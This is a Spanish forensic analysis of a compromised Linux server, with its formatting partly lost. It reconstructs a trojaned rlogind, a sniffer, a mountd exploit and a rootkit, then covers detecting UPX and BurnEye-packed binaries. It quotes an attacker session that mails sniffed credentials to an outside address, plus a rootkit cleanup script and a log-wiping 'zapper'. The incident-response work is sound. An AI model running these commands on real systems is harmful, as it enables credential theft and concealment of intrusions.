Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

